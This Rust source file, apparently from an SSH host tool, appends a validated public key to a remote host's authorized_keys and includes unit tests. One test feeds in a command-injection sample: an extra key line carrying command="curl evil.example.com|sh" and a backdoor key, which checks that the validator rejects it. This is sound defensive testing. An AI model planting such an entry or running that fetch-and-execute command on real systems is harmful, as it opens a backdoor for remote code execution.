use std::io::Write;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use std::sync::Arc;
use std::sync::atomic::{AtomicBool, Ordering};
use log::debug;
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum KeyPushOutcome {
Appended,
AlreadyPresent,
Failed(String),
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct KeyPushResult {
pub alias: String,
pub outcome: KeyPushOutcome,
}
const STDERR_BUDGET: usize = 200;
const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
const REMOTE_SNIPPET: &str = r#"umask 077
if [ ! -d ~/.ssh ]; then
mkdir -p ~/.ssh
chmod 700 ~/.ssh
fi
if [ ! -f ~/.ssh/authorized_keys ]; then
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
fi
PUBKEY=$(cat | tr -d '\r')
if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
exit 0
fi
printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
echo __PURPLE_KEY_PUSH:APPENDED__
"#;
pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
let trimmed = stdout.trim();
let last = trimmed
.lines()
.map(|l| l.trim_end_matches('\r').trim())
.rfind(|l| !l.is_empty())?;
match last {
MARKER_APPENDED => Some(KeyPushOutcome::Appended),
MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
"remote append failed (disk full, read-only mount?)".to_string(),
)),
_ => None,
}
}
fn scrub_stderr(raw: &str) -> String {
let cleaned: String = raw
.chars()
.filter(|c| !c.is_control() || *c == '\n')
.collect();
let joined = cleaned
.lines()
.map(str::trim)
.filter(|l| !l.is_empty())
.collect::<Vec<_>>()
.join(" ");
if joined.chars().count() > STDERR_BUDGET {
joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
} else {
joined
}
}
pub fn push_to_host(
pubkey: &str,
alias: &str,
config_path: &Path,
cancel: &Arc<AtomicBool>,
) -> KeyPushOutcome {
if cancel.load(Ordering::Relaxed) {
return KeyPushOutcome::Failed("cancelled".to_string());
}
let mut cmd = Command::new("ssh");
cmd.arg("-F")
.arg(config_path)
.arg("-T")
.arg("-o")
.arg("ConnectTimeout=10")
.arg("-o")
.arg("ServerAliveInterval=10")
.arg("-o")
.arg("ServerAliveCountMax=3")
.arg("-o")
.arg("ControlMaster=no")
.arg("-o")
.arg("ControlPath=none")
.arg("--")
.arg(alias)
.arg(REMOTE_SNIPPET)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = match cmd.spawn() {
Ok(c) => c,
Err(e) => {
debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
}
};
if let Some(stdin) = child.stdin.as_mut() {
let payload = if pubkey.ends_with('\n') {
pubkey.to_string()
} else {
format!("{}\n", pubkey)
};
if let Err(e) = stdin.write_all(payload.as_bytes()) {
debug!(
"[purple] key_push: stdin write failed alias={} err={}",
alias, e
);
let _ = child.kill();
let _ = child.wait();
return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
}
}
drop(child.stdin.take());
let output = match child.wait_with_output() {
Ok(o) => o,
Err(e) => {
debug!("[purple] key_push: wait failed alias={} err={}", alias, e);
return KeyPushOutcome::Failed(format!("wait ssh: {}", e));
}
};
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
if !output.status.success() {
let scrubbed = scrub_stderr(&stderr);
let msg = if scrubbed.is_empty() {
format!("ssh exited {}", output.status)
} else {
scrubbed
};
debug!(
"[purple] key_push: failed alias={} status={} stderr={}",
alias, output.status, msg
);
return KeyPushOutcome::Failed(msg);
}
match classify_stdout(&stdout) {
Some(outcome) => {
debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
outcome
}
None => {
let preview = scrub_stderr(&stdout);
KeyPushOutcome::Failed(format!(
"unexpected snippet output: {}",
if preview.is_empty() {
"(empty)"
} else {
&preview
}
))
}
}
}
pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
const ALLOWED_KEY_TYPES: &[&str] = &[
"ssh-rsa",
"ssh-ed25519",
"ssh-dss",
"ecdsa-sha2-nistp256",
"ecdsa-sha2-nistp384",
"ecdsa-sha2-nistp521",
"sk-ssh-ed25519@openssh.com",
"sk-ecdsa-sha2-nistp256@openssh.com",
];
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PubkeyValidationError {
Empty,
MultiLine,
UnsupportedType(String),
MalformedBase64,
TooLarge(u64),
NotARegularFile,
}
pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
if trimmed.is_empty() {
return Err(PubkeyValidationError::Empty);
}
if trimmed.lines().count() != 1 {
return Err(PubkeyValidationError::MultiLine);
}
let mut parts = trimmed.splitn(3, ' ');
let typ = parts.next().unwrap_or("");
let blob = parts.next().unwrap_or("");
if !ALLOWED_KEY_TYPES.contains(&typ) {
return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
}
if blob.is_empty() {
return Err(PubkeyValidationError::MalformedBase64);
}
use base64::Engine;
if base64::engine::general_purpose::STANDARD
.decode(blob.as_bytes())
.is_err()
{
return Err(PubkeyValidationError::MalformedBase64);
}
Ok(trimmed.to_string())
}
pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
use std::io::Read;
let mut opts = std::fs::OpenOptions::new();
opts.read(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
opts.custom_flags(libc::O_NOFOLLOW);
}
let f = opts
.open(path)
.map_err(|_| PubkeyValidationError::NotARegularFile)?;
let meta = f
.metadata()
.map_err(|_| PubkeyValidationError::NotARegularFile)?;
if !meta.file_type().is_file() {
return Err(PubkeyValidationError::NotARegularFile);
}
if meta.len() > PUBKEY_MAX_BYTES {
return Err(PubkeyValidationError::TooLarge(meta.len()));
}
let mut buf = String::new();
f.take(PUBKEY_MAX_BYTES)
.read_to_string(&mut buf)
.map_err(|_| PubkeyValidationError::NotARegularFile)?;
Ok(buf)
}
pub fn pubkey_path_for(display_path: &str) -> PathBuf {
let with_pub = format!("{}.pub", display_path);
if let Some(rest) = with_pub.strip_prefix("~/") {
if let Some(home) = dirs::home_dir() {
return home.join(rest);
}
}
PathBuf::from(with_pub)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn classify_stdout_appended() {
assert_eq!(
classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
Some(KeyPushOutcome::Appended)
);
}
#[test]
fn classify_stdout_already_present() {
assert_eq!(
classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
Some(KeyPushOutcome::AlreadyPresent)
);
}
#[test]
fn classify_stdout_append_failed() {
match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
Some(KeyPushOutcome::Failed(_)) => {}
other => panic!("expected Failed, got {:?}", other),
}
}
#[test]
fn classify_stdout_motd_then_marker() {
let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
}
#[test]
fn classify_stdout_motd_word_collision_does_not_match() {
let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
assert_eq!(classify_stdout(stdout), None);
}
#[test]
fn classify_stdout_crlf_line_endings() {
let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
}
#[test]
fn classify_stdout_unknown_returns_none() {
assert_eq!(classify_stdout("hello\nworld\n"), None);
}
#[test]
fn classify_stdout_empty_returns_none() {
assert_eq!(classify_stdout(""), None);
assert_eq!(classify_stdout("\n\n"), None);
}
#[test]
fn scrub_stderr_drops_control_bytes() {
let raw = "\x1b[31mError: connection refused\x1b[0m\n";
let scrubbed = scrub_stderr(raw);
assert!(!scrubbed.contains('\x1b'));
assert!(scrubbed.contains("Error"));
}
#[test]
fn scrub_stderr_joins_lines() {
let raw = "line1\nline2\nline3\n";
assert_eq!(scrub_stderr(raw), "line1 line2 line3");
}
#[test]
fn scrub_stderr_truncates_long_input() {
let raw = "x".repeat(STDERR_BUDGET * 2);
let scrubbed = scrub_stderr(&raw);
assert!(scrubbed.ends_with("..."));
assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
}
#[test]
fn scrub_stderr_empty_input() {
assert_eq!(scrub_stderr(""), "");
assert_eq!(scrub_stderr(" \n\n \n"), "");
}
#[test]
fn pubkey_path_appends_pub_suffix() {
let p = pubkey_path_for("/tmp/id_ed25519");
assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
}
#[test]
fn pubkey_path_expands_tilde() {
let p = pubkey_path_for("~/.ssh/id_ed25519");
assert!(!p.to_string_lossy().starts_with('~'));
assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
}
#[test]
fn push_to_host_short_circuits_when_cancel_is_set() {
let cancel = Arc::new(AtomicBool::new(true));
let outcome = push_to_host(
"ssh-ed25519 AAAA test@host",
"this-alias-does-not-exist",
std::path::Path::new("/tmp/purple-nonexistent-config"),
&cancel,
);
match outcome {
KeyPushOutcome::Failed(msg) => {
assert!(
msg.contains("cancel"),
"expected cancel message, got: {}",
msg
);
}
other => panic!("expected Failed(cancelled), got {:?}", other),
}
}
#[test]
fn validate_pubkey_accepts_ed25519() {
let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
assert_eq!(validate_pubkey(line).unwrap(), line);
}
#[test]
fn validate_pubkey_strips_trailing_whitespace() {
let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
let cleaned = validate_pubkey(raw).unwrap();
assert!(!cleaned.ends_with('\n'));
assert!(!cleaned.ends_with('\r'));
}
#[test]
fn validate_pubkey_rejects_empty() {
assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
assert_eq!(
validate_pubkey(" \n\n"),
Err(PubkeyValidationError::Empty)
);
}
#[test]
fn validate_pubkey_rejects_multi_line_command_injection() {
let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
}
#[test]
fn validate_pubkey_rejects_unknown_type() {
let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
match validate_pubkey(raw) {
Err(PubkeyValidationError::UnsupportedType(t)) => {
assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
}
other => panic!("expected UnsupportedType, got {:?}", other),
}
}
#[test]
fn validate_pubkey_rejects_bogus_base64() {
let raw = "ssh-ed25519 not!valid!base64!?? comment";
assert_eq!(
validate_pubkey(raw),
Err(PubkeyValidationError::MalformedBase64)
);
}
#[test]
fn validate_pubkey_rejects_empty_blob() {
let raw = "ssh-ed25519 comment";
assert_eq!(
validate_pubkey(raw),
Err(PubkeyValidationError::MalformedBase64)
);
}
#[test]
fn read_pubkey_file_rejects_oversize() {
let dir = tempfile::tempdir().expect("tempdir");
let path = dir.path().join("huge.pub");
let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
std::fs::write(&path, body).unwrap();
match read_pubkey_file(&path) {
Err(PubkeyValidationError::TooLarge(n)) => {
assert!(n > PUBKEY_MAX_BYTES);
}
other => panic!("expected TooLarge, got {:?}", other),
}
}
#[cfg(unix)]
#[test]
fn read_pubkey_file_rejects_symlink() {
let dir = tempfile::tempdir().expect("tempdir");
let target = dir.path().join("real.pub");
std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
let link = dir.path().join("link.pub");
std::os::unix::fs::symlink(&target, &link).unwrap();
assert!(matches!(
read_pubkey_file(&link),
Err(PubkeyValidationError::NotARegularFile)
));
}
#[test]
fn remote_snippet_has_expected_markers() {
assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
assert!(REMOTE_SNIPPET.contains("grep -qxF"));
assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
}
}